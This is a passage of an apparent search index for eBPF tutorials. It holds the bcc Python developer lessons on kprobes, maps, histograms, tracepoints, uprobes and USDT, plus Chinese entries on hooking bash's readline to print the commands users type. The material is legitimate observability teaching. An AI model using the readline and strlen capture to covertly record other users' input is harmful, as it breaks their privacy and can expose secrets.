retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 The -5 error code is EIO. This confirms that the following code in function uprobe_register is the most suspicious culprit. if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; The shmem_mapping function is defined as bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} To confirm the theory, find what is inode->i_mapping->a_ops with the following command $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops The kernel symbol empty_aops does not have readpage defined and hence the above suspicious condition is true. Further examining the kernel source code shows that overlayfs does not provide its own a_ops while some other file systems (e.g., ext4) define their own a_ops (e.g., ext4_da_aops), and ext4_da_aops defines readpage. Hence, uprobe works fine on ext4 while not on overlayfs. More examples . 2.2. argdist More examples . 2.3. funccount More examples .","breadcrumbs":"bcc Tutorial » 2. Observability with Generic Tools","id":"320","title":"2. Observability with Generic Tools"},"321":{"body":"To do.","breadcrumbs":"bcc Tutorial » Networking","id":"321","title":"Networking"},"322":{"body":"This tutorial is about developing bcc tools and programs using the Python interface. There are two parts: observability then networking. Snippets are taken from various programs in bcc: see their files for licences. Also see the bcc developer's reference_guide.md , and a tutorial for end-users of tools: tutorial.md . There is also a lua interface for bcc.","breadcrumbs":"bcc Python Developer Tutorial » bcc Python Developer Tutorial","id":"322","title":"bcc Python Developer Tutorial"},"323":{"body":"This observability tutorial contains 17 lessons, and 46 enumerated things to learn.","breadcrumbs":"bcc Python Developer Tutorial » Observability","id":"323","title":"Observability"},"324":{"body":"Start by running examples/hello_world.py , while running some commands (eg, \"ls\") in another session. It should print \"Hello, World!\" for new processes. If not, start by fixing bcc: see INSTALL.md . # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] Here's the code for hello_world.py: from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() There are six things to learn from this: text='...': This defines a BPF program inline. The program is written in C. kprobe__sys_clone(): This is a short-cut for kernel dynamic tracing via kprobes. If the C function begins with kprobe__, the rest is treated as a kernel function name to instrument, in this case, sys_clone(). void *ctx: ctx has arguments, but since we aren't using them here, we'll just cast it to void *. bpf_trace_printk(): A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(), covered later. return 0;: Necessary formality (if you want to know why, see #139 ). .trace_print(): A bcc routine that reads trace_pipe and prints the output.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 1. Hello World","id":"324","title":"Lesson 1. Hello World"},"325":{"body":"Write a program that traces the sys_sync() kernel function. Print \"sys_sync() called\" when it runs. Test by running sync in another session while tracing. The hello_world.py program has everything you need for this. Improve it by printing \"Tracing sys_sync()... Ctrl-C to end.\" when the program first starts. Hint: it's just Python.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 2. sys_sync()","id":"325","title":"Lesson 2. sys_sync()"},"326":{"body":"This program is in examples/tracing/hello_fields.py . Sample output (run commands in another session): # examples/tracing/hello_fields.py\nTIME(s) COMM PID MESSAGE\n24585001.174885999 sshd 1432 Hello, World!\n24585001.195710000 sshd 15780 Hello, World!\n24585001.991976000 systemd-udevd 484 Hello, World!\n24585002.276147000 bash 15787 Hello, World! Code: from bcc import BPF # define BPF program\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) This is similar to hello_world.py, and traces new processes via sys_clone() again, but has a few more things to learn: prog =: This time we declare the C program as a variable, and later refer to it. This is useful if you want to add some string substitutions based on command line arguments. hello(): Now we're just declaring a C function, instead of the kprobe__ shortcut. We'll refer to this later. All C functions declared in the BPF program are expected to be executed on a probe, hence they all need to take a pt_reg* ctx as first argument. If you need to define some helper function that will not be executed on a probe, they need to be defined as static inline in order to be inlined by the compiler. Sometimes you would also need to add _always_inline function attribute to it. b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\"): Creates a kprobe for the kernel clone system call function, which will execute our defined hello() function. You can call attach_kprobe() more than once, and attach your C function to multiple kernel functions. b.trace_fields(): Returns a fixed set of fields from trace_pipe. Similar to trace_print(), this is handy for hacking, but for real tooling we should switch to BPF_PERF_OUTPUT().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 3. hello_fields.py","id":"326","title":"Lesson 3. hello_fields.py"},"327":{"body":"Remember the days of sysadmins typing sync three times on a slow console before reboot, to give the first asynchronous sync time to complete? Then someone thought sync;sync;sync was clever, to run them all on one line, which became industry practice despite defeating the original purpose! And then sync became synchronous, so more reasons it was silly. Anyway. The following example times how quickly the do_sync function is called, and prints output if it has been called more recently than one second ago. A sync;sync;sync will print output for the 2nd and 3rd sync's: # examples/tracing/sync_timing.py\nTracing for quick sync's... Ctrl-C to end\nAt time 0.00 s: multiple syncs detected, last 95 ms ago\nAt time 0.10 s: multiple syncs detected, last 96 ms ago This program is examples/tracing/sync_timing.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // attempt to read stored timestamp tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // output if time is less than 1 second bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // update stored timestamp ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"Tracing for quick sync's... Ctrl-C to end\") # format output\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"At time %.2f s: multiple syncs detected, last %s ms ago\" % (ts, ms)) Things to learn: bpf_ktime_get_ns(): Returns the time as nanoseconds. BPF_HASH(last): Creates a BPF map object that is a hash (associative array), called \"last\". We didn't specify any further arguments, so it defaults to key and value types of u64. key = 0: We'll only store one key/value pair in this hash, where the key is hardwired to zero. last.lookup(&key): Lookup the key in the hash, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. if (tsp != NULL) {: The verifier requires that pointer values derived from a map lookup must be checked for a null value before they can be dereferenced and used. last.delete(&key): Delete the key from the hash. This is currently required because of a kernel bug in .update() (fixed in 4.8.10). last.update(&key, &ts): Associate the value in the 2nd argument to the key, overwriting any previous value. This records the timestamp.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"327","title":"Lesson 4. sync_timing.py"},"328":{"body":"Modify the sync_timing.py program (prior lesson) to store the count of all kernel sync system calls (both fast and slow), and print it with the output. This count can be recorded in the BPF program by adding a new key index to the existing hash.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 5. sync_count.py","id":"328","title":"Lesson 5. sync_count.py"},"329":{"body":"Browse the examples/tracing/disksnoop.py program to see what is new. Here is some sample output: # disksnoop.py\nTIME(s) T BYTES LAT(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] And a code snippet: [...]\nREQ_WRITE = 1 # from include/linux/blk_types.h # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blk-mq.h> BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // stash start timestamp by request ptr u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\")\nelse: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\")\n[...] Things to learn: REQ_WRITE: We're defining a kernel constant in the Python program because we'll use it there later. If we were using REQ_WRITE in the BPF program, it should just work (without needing to be defined) with the appropriate #includes. trace_start(struct pt_regs *ctx, struct request *req): This function will later be attached to kprobes. The arguments to kprobe functions are struct pt_regs *ctx, for registers and BPF context, and then the actual arguments to the function. We'll attach this to blk_start_request(), where the first argument is struct request *. start.update(&req, &ts): We're using the pointer to the request struct as a key in our hash. What? This is commonplace in tracing. Pointers to structs turn out to be great keys, as they are unique: two structs can't have the same pointer address. (Just be careful about when it gets free'd and reused.) So what we're really doing is tagging the request struct, which describes the disk I/O, with our own timestamp, so that we can time it. There's two common keys used for storing timestamps: pointers to structs, and, thread IDs (for timing function entry to return). req->__data_len: We're dereferencing members of struct request. See its definition in the kernel source for what members are there. bcc actually rewrites these expressions to be a series of bpf_probe_read_kernel() calls. Sometimes bcc can't handle a complex dereference, and you need to call bpf_probe_read_kernel() directly. This is a pretty interesting program, and if you can understand all the code, you'll understand many important basics. We're still using the bpf_trace_printk() hack, so let's fix that next.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 6. disksnoop.py","id":"329","title":"Lesson 6. disksnoop.py"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"Let's finally stop using bpf_trace_printk() and use the proper BPF_PERF_OUTPUT() interface. This will also mean we stop getting the free trace_field() members like PID and timestamp, and will need to fetch them directly. Sample output while commands are run in another session: # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 Hello, perf_output!\n0.021080275 systemd-udevd 484 Hello, perf_output!\n0.021359520 systemd-udevd 484 Hello, perf_output!\n0.021590610 systemd-udevd 484 Hello, perf_output!\n[...] Code is examples/tracing/hello_perf_output.py : from bcc import BPF # define BPF program\nprog = \"\"\"\n#include <linux/sched.h> // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # process event\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"Hello, perf_output!\")) # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() Things to learn: struct data_t: This defines the C struct we'll use to pass data from kernel to user space. BPF_PERF_OUTPUT(events): This names our output channel \"events\". struct data_t data = {};: Create an empty data_t struct that we'll then populate. bpf_get_current_pid_tgid(): Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Should you be presenting the PID or the TGID? For a multi-threaded app, the TGID will be the same, so you need the PID to differentiate them, if that's what you want. It's also a question of expectations for the end user. bpf_get_current_comm(): Populates the first argument address with the current process name. events.perf_submit(): Submit the event for user space to read via a perf ring buffer. def print_event(): Define a Python function that will handle reading events from the events stream. b[\"events\"].event(data): Now get the event as a Python object, auto-generated from the C declaration. b[\"events\"].open_perf_buffer(print_event): Associate the Python print_event function with the events stream. while 1: b.perf_buffer_poll(): Block waiting for events.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"330","title":"Lesson 7. hello_perf_output.py"},"331":{"body":"Rewrite sync_timing.py, from a prior lesson, to use BPF_PERF_OUTPUT.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 8. sync_perf_output.py","id":"331","title":"Lesson 8. sync_perf_output.py"},"332":{"body":"The following tool records a histogram of disk I/O sizes. Sample output: # bitehist.py\nTracing... Hit Ctrl-C to end.\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| Code is examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blkdev.h> BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # header\nprint(\"Tracing... Hit Ctrl-C to end.\") # trace until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # output\nb[\"dist\"].print_log2_hist(\"kbytes\") A recap from earlier lessons: kprobe__: This prefix means the rest will be treated as a kernel function name that will be instrumented using kprobe. struct pt_regs *ctx, struct request *req: Arguments to kprobe. The ctx is registers and BPF context, the req is the first argument to the instrumented function: blk_account_io_done(). req->__data_len: Dereferencing that member. New things to learn: BPF_HISTOGRAM(dist): Defines a BPF map object that is a histogram, and names it \"dist\". dist.increment(): Increments the histogram bucket index provided as first argument by one by default. Optionally, custom increments can be passed as the second argument. bpf_log2l(): Returns the log-2 of the provided value. This becomes the index of our histogram, so that we're constructing a power-of-2 histogram. b[\"dist\"].print_log2_hist(\"kbytes\"): Prints the \"dist\" histogram as power-of-2, with a column header of \"kbytes\". The only data transferred from kernel to user space is the bucket counts, making this efficient.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 9. bitehist.py","id":"332","title":"Lesson 9. bitehist.py"},"333":{"body":"Write a program that times disk I/O, and prints a histogram of their latency. Disk I/O instrumentation and timing can be found in the disksnoop.py program from a prior lesson, and histogram code can be found in bitehist.py from a prior lesson.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py","id":"333","title":"Lesson 10. disklatency.py"},"334":{"body":"This example is split into separate Python and C files. Example output: # vfsreadlat.py 1\nTracing... Hit Ctrl-C to end. usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | usecs : count distribution 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ | 32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] Browse the code in examples/tracing/vfsreadlat.py and examples/tracing/vfsreadlat.c . Things to learn: b = BPF(src_file = \"vfsreadlat.c\"): Read the BPF C program from a separate source file. b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): Attaches the BPF C function do_return() to the return of the kernel function vfs_read(). This is a kretprobe: instrumenting the return from a function, rather than its entry. b[\"dist\"].clear(): Clears the histogram.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 11. vfsreadlat.py","id":"334","title":"Lesson 11. vfsreadlat.py"},"335":{"body":"Tracing while a dd if=/dev/urandom of=/dev/null bs=8k count=5 is run: # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 Hah! I caught smtp by accident. Code is examples/tracing/urandomread.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) Things to learn: TRACEPOINT_PROBE(random, urandom_read): Instrument the kernel tracepoint random:urandom_read. These have a stable API, and thus are recommend to use instead of kprobes, wherever possible. You can run perf list for a list of tracepoints. Linux >= 4.7 is required to attach BPF programs to tracepoints. args->got_bits: args is auto-populated to be a structure of the tracepoint arguments. The comment above says where you can see that structure. Eg: # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type;\toffset:0;\tsize:2;\tsigned:0; field:unsigned char common_flags;\toffset:2;\tsize:1;\tsigned:0; field:unsigned char common_preempt_count;\toffset:3;\tsize:1;\tsigned:0; field:int common_pid;\toffset:4;\tsize:4;\tsigned:1; field:int got_bits;\toffset:8;\tsize:4;\tsigned:1; field:int pool_left;\toffset:12;\tsize:4;\tsigned:1; field:int input_left;\toffset:16;\tsize:4;\tsigned:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left In this case, we were printing the got_bits member.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"335","title":"Lesson 12. urandomread.py"},"336":{"body":"Convert disksnoop.py from a previous lesson to use the block:block_rq_issue and block:block_rq_complete tracepoints.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 13. disksnoop.py fixed","id":"336","title":"Lesson 13. disksnoop.py fixed"},"337":{"body":"This program instruments a user-level function, the strlen() library function, and frequency counts its string argument. Example output: # strlen_count.py\nTracing strlen()... Hit Ctrl-C to end.\n^C COUNT STRING 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 \"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" These are various strings that are being processed by this library function while tracing, along with their frequency counts. strlen() was called on \"LC_ALL\" 12 times, for example. Code is examples/tracing/strlen_count.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // could also use `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # header\nprint(\"Tracing strlen()... Hit Ctrl-C to end.\") # sleep until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) Things to learn: PT_REGS_PARM1(ctx): This fetches the first argument to strlen(), which is the string. b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): Attach to library \"c\" (if this is the main program, use its pathname), instrument the user-level function strlen(), and on execution call our C function count().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 14. strlen_count.py","id":"337","title":"Lesson 14. strlen_count.py"},"338":{"body":"This program instruments a user statically-defined tracing (USDT) probe, which is the user-level version of a kernel tracepoint. Sample output: # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png Relevant code from examples/tracing/nodejs_http_server.py : from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h>\nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) Things to learn: bpf_usdt_readarg(6, ctx, &addr): Read the address of argument 6 from the USDT probe into addr. bpf_probe_read_user(&path, sizeof(path), (void *)addr): Now the string addr points to into our path variable. u = USDT(pid=int(pid)): Initialize USDT tracing for the given PID. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): Attach our do_trace() BPF C function to the Node.js http__server__request USDT probe. b = BPF(text=bpf_text, usdt_contexts=[u]): Need to pass in our USDT object, u, to BPF object creation.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 15. nodejs_http_server.py","id":"338","title":"Lesson 15. nodejs_http_server.py"},"339":{"body":"This is an older tutorial included as a bonus lesson. Use this for recap and to reinforce what you've already learned. This is a slightly more complex tracing example than Hello World. This program will be invoked for every task change in the kernel, and record in a BPF map the new and old pids. The C program below introduces a new concept: the prev argument. This argument is treated specially by the BCC frontend, such that accesses to this variable are read from the saved context that is passed by the kprobe infrastructure. The prototype of the args starting from position 1 should match the prototype of the kernel function being kprobed. If done so, the program will have seamless access to the function parameters. #include <uapi/linux/ptrace.h>\n#include <linux/sched.h> struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} The userspace component loads the file shown above, and attaches it to the finish_task_switch kernel function. The [] operator of the BPF object gives access to each BPF_HASH in the program, allowing pass-through access to the values residing in the kernel. Use the object as you would any other python dict object: read, update, and deletes are all allowed. from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # generate many schedule events\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) These programs can be found in the files examples/tracing/task_switch.c and examples/tracing/task_switch.py respectively.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 16. task_switch.c","id":"339","title":"Lesson 16. task_switch.c"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"For further study, see Sasha Goldshtein's linux-tracing-workshop , which contains additional labs. There are also many tools in bcc /tools to study. Please read CONTRIBUTING-SCRIPTS.md if you wish to contribute tools to bcc. At the bottom of the main README.md , you'll also find methods for contacting us. Good luck, and happy tracing!","breadcrumbs":"bcc Python Developer Tutorial » Lesson 17. Further Study","id":"340","title":"Lesson 17. Further Study"},"341":{"body":"To do.","breadcrumbs":"bcc Python Developer Tutorial » Networking","id":"341","title":"Networking"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 